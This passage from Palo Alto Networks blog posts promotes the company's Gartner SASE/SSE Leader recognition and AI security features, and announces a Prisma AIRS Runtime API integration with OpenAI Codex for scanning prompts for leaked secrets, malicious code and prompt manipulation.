• Unified platform: With a truly unified policy engine, data platform and operations, we ensure that as enterprises adapt to the future, our architecture remains an accelerator for secure productivity rather than a bottleneck. We accelerate vendor consolidation for enterprise customers, replacing fragmented legacy point products with a single platform that slashes operational overhead and reduces total cost of ownership (TCO) by up to 50%.

Building for the Future 

As the rules of cybersecurity are rewritten in real time, leading the market requires more than following past trends, it requires setting the trajectory. Our aim is to continuously be at the forefront of defining the future of cybersecurity to power the agentic enterprise of tomorrow.

Protecting with AI

Palo Alto Networks continues to innovate to keep enterprises safe at the speed of AI. Our Precision AI security service blocks over 30B threats every single day defeating sophisticated and highly evasive tactics. When combined with our virtual patching and IP defense security services, organizations receive proactive defense that secures at the speed of Frontier AI with flexible enforcement that provides consistent protection everywhere. We are delivering comprehensive security across network, edge, and cloud infrastructure to stop hidden threats that are invisible to traditional networks security solutions. 

This AI-powered defense in depth strategy operates across the entire attack lifecycle to enable proactive protection that shifts enterprise security postures from reactive incident response to preemptive defense. 

Securing AI 

Safely enabling employee adoption of AI tools and agents requires special considerations to mitigate risks around data leaks, intellectual property exposure, and compliance. Prisma SASE and Prisma Access solve these challenges by discovering all AI usage and agentic actions, enforcing granular least privilege access for human and non-human identities, and preventing exposure of risky data to AI and agents. Through AI Access Security™, Prisma SASE provides unified data security across the AI lifecycle by integrating GenAI app visibility and control, real-time prompt analysis, shadow data discovery, and  protection on endpoint. Prisma Browser provides a secure AI workspace that safeguards both human and autonomous agent workflows across any LLM by defending against data leaks, prompt injections, and agent hijacking. 

To secure the rapid adoption of AI agents by enterprises, Prisma Access will natively integrate with Prisma AIRS AI Gateway to provide a unified LLM, MCP, and A2A gateway giving security teams a single pane of glass for AI observability, cost governance, and runtime inspection.

This innovative approach represents an evolution away from traditional device and user centric fabrics towards an agent-aware platform capable of securing AI for the enterprise of tomorrow, today. 

Operating with AI

We continue to invest in capabilities that make our platforms proactive, efficient and easier to use. Our new deployment agents enable customers to onboard their SSE or SASE environment more efficiently, reducing their time to value while increasing productivity. Once onboarded, autonomous AI agents within Strata Cloud Manager continuously evaluate network and security posture to proactively identify configuration drift, performance degradation, and security policy gaps. By uncovering potential disruptions before they impact users or expose the organization to risk we’ve created automated systems capable of finding issues and automatically remediating them, with human-in-the-loop oversight calibrated to the administrator's comfort level, from guided recommendations to full autonomy.

The practical outcome is a dramatic reduction in mean time to resolution (MTTR) and a measurable reduction in total cost of ownership (TCO) while significantly reducing administrative burdens and making Palo Alto Networks products easier to maintain and operate.

Learn More

Download your complimentary copies of the 2026 Gartner® Magic Quadrant™ reports to learn why Palo Alto Networks has been recognized as a Leader in both SASE and SSE for the fourth consecutive year.

---

 

Gartner, Magic Quadrant for Security Service Edge, 29 July 2026, John Watts Et Al.
Gartner, Magic Quadrant for SASE Platforms, 28 July 2026, By Jonathan Forest Et Al.
Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.
Gartner and Magic Quadrant are a trademark of Gartner, Inc., and/or its affiliates.
This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from Palo Alto Networks.

The post Palo Alto Networks Recognized as the Only Vendor to be Named a 4X Leader in SASE and SSE Gartner Magic Quadrant Reports appeared first on Palo Alto Networks Blog.

Palo Alto Networks works closely with OpenAI across our product platform and Unit 42, leveraging advanced frontier model capabilities. Furthermore, we are a partner in the OpenAI Daybreak Cyber Partner Program, working with OpenAI to bring trusted, AI-powered cyber defense to more organizations. Today, we’re announcing native integration of Prisma AIRS Runtime API with OpenAI Codex. This milestone deepens our partnership and drives our shared mission forward: equipping defenders with the industry's most advanced tools.

AI coding assistants have transformed software development, accelerating shipping velocity and changing how engineers solve problems. But as integration of AI coding assistants deepens across development teams, security and compliance teams constantly struggle with enabling developer productivity while helping protect proprietary source code and credentials, and reducing the risk of runtime threats entering the codebase.

Streamlined Security in Minutes

We designed this integration to eliminate complex traffic steering and heavy client-side hooks. Securing your entire developer organization takes just a few clicks inside Codex Enterprise Management UI. Here is how you can enable it:

1. Retrieve Credentials: Generate your API key and endpoint from the Prisma AIRS management console.
2. Configure Codex: Paste the Prisma AIRS API key and endpoint directly into your Global Admin Console.
3. Activate Org-Wide Scanning: Once saved, all user prompts across your entire organization in Codex are automatically routed through the Prisma AIRS Runtime API for real-time inspection.

What Prisma AIRS Brings to OpenAI Codex

By connecting the Codex in ChatGPT for Enterprise workspace to the Prisma AIRS Runtime API, security teams gain comprehensive, automated security controls across two critical vectors:

1. Enterprise Data Loss Prevention (DLP)

Developers frequently paste context – logs, config snippets, or functions – into AI coding assistants. Prisma AIRS scans inputs to help identify sensitive data before it is submitted.

• Secrets & Credentials: Intercept API keys, hardcoded passwords, tokens, and private keys.
• PII & Financial Data: Automatically detect personally identifiable information and regulated data patterns.
• Proprietary Code & IP: Enforce custom pattern rules to help prevent sensitive internal code, architecture details, or trade secrets from being submitted.

2. Advanced Threat & Malicious Code Detection

AI prompts and contextual inputs can contain content that introduces security risks into development workflows. Prisma AIRS Runtime API inspects incoming developer inputs for:

• Malicious Code Patterns: Detect obfuscated scripts, dangerous command executions, or known exploit patterns within developer prompts.
• Malicious URLs & Links: Flag unverified, phishing, or malicious domain references before they influence generated code or enter internal repos.
• Prompt Manipulation Attacks: Detect adversarial inputs that may attempt to bypass system controls or alter model behavior.

Built for DevSecOps Alignment

Security controls only work if developers actually use them. Because the inspection happens at the platform administrative level via API, developers continue working natively in Codex without changing their IDE setup or downloading local hooks. SecOps gain centralized visibility, consistent policy enforcement, and audit-ready logging capabilities across the entire engineering organization, while developers keep the speed and experience they expect.

Key Takeaways

• Security as Invisible Infrastructure: Prisma AIRS integrates at the Codex administrative layer, applying security and DLP controls without requiring additional developer workflow changes. Developers can continue working in Codex while security teams maintain centralized policy controls.

• Unified Governance for Frontier Models: Prisma AIRS acts as an inline security layer that scans AI traffic in real-time before prompts ever reach the destination model. This architecture can help organizations identify sensitive information moving outward while detecting prompt manipulation and potentially malicious content moving into development workflows. If Prisma AIRS API detects a threat, a block verdict is sent to OpenAI Codex, and the prompt does not reach the destination model or MCP server.

• Organization-Wide Compliance: Deployment speed is a strategic advantage, not just an IT convenience. By configuring the Prisma AIRS API within the Global Admin Console, organizations can achieve org-wide governance without complex traffic steering. This can help development teams shift from unmanaged AI use toward more consistent, auditable security practices.

Getting Started

The Prisma AIRS integration helps organizations maintain consistent security controls while preserving the speed and productivity gains of Codex. Organizations can combine Palo Alto Networks’ security capabilities with OpenAI Codex to maintain centralized security and governance controls.

Choose your path forward:

• Attending Black Hat 2026: Stop by the Palo Alto Networks booth to check out the Prisma AIRS live demo.
• Ready to secure your rollout: Contact Prisma AIRS AI Security Experts to discuss your specific governance and deployment needs.
• Ready to build: Visit the Prisma AIRS Documentation to connect your endpoints in minutes.

---

Forward-Looking Statements

This blog contains forward-looking statements that involve risks, uncertainties and assumptions, including, without limitation, statements regarding the benefits, impact, or performance or potential benefits, impact or performance of our products and technologies or future products and technologies. These forward-looking statements are not guarantees of future performance, and there are a significant number of factors that could cause actual results to differ materially from statements made in this blog. We identify certain important risks and uncertainties that could affect our results and performance in our most recent Annual Report on Form 10-K, our most recent Quarterly Report on Form 10-Q, and our other filings with the U.S. Securities and Exchange Commission from time-to-time, each of which are available on our website at investors.paloaltonetworks.com and on the SEC's website at www.sec.gov. All forward-looking statements in this blog are based on information available to us as of the date hereof, and we do not assume any obligation to update the forward-looking statements provided to reflect events that occur or circumstances that exist after the date on which they were made.

The post Strengthening Security of AI Coding: Prisma AIRS API Integration with OpenAI Codex appeared first on Palo Alto Networks Blog.